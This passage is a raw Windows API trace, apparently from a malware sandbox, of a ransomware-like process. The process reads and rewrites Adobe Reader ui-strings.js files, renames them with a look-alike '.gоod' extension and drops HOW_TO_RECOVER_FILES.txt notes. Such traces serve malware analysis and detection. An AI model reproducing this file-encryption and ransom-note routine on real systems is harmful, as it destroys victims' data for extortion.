hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0179.067] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0179.067] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0179.067] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae", lpFilePart=0x0) returned 0x6a [0179.067] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.067] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.068] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0179.068] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0179.068] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0179.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0179.068] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3628158 | out: lpFileInformation=0x3628158*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee85f17d, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1c31)) returned 1 [0179.068] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0179.068] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.068] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.069] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.069] GetFileType (hFile=0x768) returned 0x1 [0179.069] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.069] GetFileType (hFile=0x768) returned 0x1 [0179.069] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0179.069] ReadFile (in: hFile=0x768, lpBuffer=0x3628640, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3628640*, lpNumberOfBytesRead=0x1ffebaa8*=0xc31, lpOverlapped=0x0) returned 1 [0179.071] CloseHandle (hObject=0x768) returned 1 [0179.071] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.071] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.071] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.071] GetFileType (hFile=0x768) returned 0x1 [0179.071] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.071] GetFileType (hFile=0x768) returned 0x1 [0179.071] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1c31 [0179.071] WriteFile (in: hFile=0x768, lpBuffer=0x362d500*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x362d500*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0179.072] CloseHandle (hObject=0x768) returned 1 [0179.072] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.072] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.072] GetFileType (hFile=0x768) returned 0x1 [0179.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.072] GetFileType (hFile=0x768) returned 0x1 [0179.072] ReadFile (in: hFile=0x768, lpBuffer=0x362f828, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffeba58, lpOverlapped=0x0 | out: lpBuffer=0x362f828*, lpNumberOfBytesRead=0x1ffeba58*=0x1000, lpOverlapped=0x0) returned 1 [0179.774] CloseHandle (hObject=0x768) returned 1 [0179.774] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.774] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.774] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.775] GetFileType (hFile=0x768) returned 0x1 [0179.775] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.775] GetFileType (hFile=0x768) returned 0x1 [0179.775] WriteFile (in: hFile=0x768, lpBuffer=0x34bc8a8*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffebb08, lpOverlapped=0x0 | out: lpBuffer=0x34bc8a8*, lpNumberOfBytesWritten=0x1ffebb08*=0x1010, lpOverlapped=0x0) returned 1 [0179.775] CloseHandle (hObject=0x768) returned 1 [0179.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.775] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7d [0179.775] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0179.775] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee85f17d, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee85f17d, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0x675e59d9, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1c41)) returned 1 [0179.776] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0179.776] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\ui-strings.js.gоod")) returned 1 [0179.777] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x83 [0179.777] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0179.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-ae\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-ae\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x768 [0179.778] GetFileType (hFile=0x768) returned 0x1 [0179.778] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0179.778] GetFileType (hFile=0x768) returned 0x1 [0179.779] WriteFile (in: hFile=0x768, lpBuffer=0x3947368*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x3947368*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0179.780] CloseHandle (hObject=0x768) returned 1 [0179.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0179.781] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x6a [0179.781] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.782] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.782] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0179.782] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0179.782] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0179.782] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0179.782] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0179.782] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb", lpFilePart=0x0) returned 0x6a [0179.782] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x131dec0 [0179.783] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0179.783] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0179.783] FindNextFileW (in: hFindFile=0x131dec0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0179.783] FindClose (in: hFindFile=0x131dec0 | out: hFindFile=0x131dec0) returned 1 [0179.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0179.783] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0179.783] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0179.783] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x3956fd0 | out: lpFileInformation=0x3956fd0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee885476, ftCreationTime.dwHighDateTime=0x1d39f5d, ftLastAccessTime.dwLowDateTime=0xee885476, ftLastAccessTime.dwHighDateTime=0x1d39f5d, ftLastWriteTime.dwLowDateTime=0xee885476, ftLastWriteTime.dwHighDateTime=0x1d39f5d, nFileSizeHigh=0x0, nFileSizeLow=0x1ac7)) returned 1 [0179.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0179.784] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.784] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.784] GetFileType (hFile=0x768) returned 0x1 [0179.784] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.784] GetFileType (hFile=0x768) returned 0x1 [0179.784] SetFilePointer (in: hFile=0x768, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1000 [0179.785] ReadFile (in: hFile=0x768, lpBuffer=0x39574b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1ffebaa8, lpOverlapped=0x0 | out: lpBuffer=0x39574b8*, lpNumberOfBytesRead=0x1ffebaa8*=0xac7, lpOverlapped=0x0) returned 1 [0179.786] CloseHandle (hObject=0x768) returned 1 [0179.786] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb460, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js", lpFilePart=0x0) returned 0x78 [0179.787] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb980) returned 1 [0179.787] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\files\\dev\\nls\\en-gb\\ui-strings.js"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x768 [0179.787] GetFileType (hFile=0x768) returned 0x1 [0179.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8f0) returned 1 [0179.787] GetFileType (hFile=0x768) returned 0x1 [0179.787] SetFilePointer (in: hFile=0x768, lDistanceToMove=0, lpDistanceToMoveHigh=0x1ffebad8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1ffebad8*=0) returned 0x1ac7 [0179.787] WriteFile (in: hFile=0x768, lpBuffer=0x39587b8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1ffeb9c8, lpOverlapped=0x0 | out: lpBuffer=0x39587b8*, lpNumberOfBytesWritten=0x1ffeb9c8*=0x10, lpOverlapped=0x0) returned 1 [0179.787] CloseHandle (hObject=0x768) returned 1 [0179.787] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader 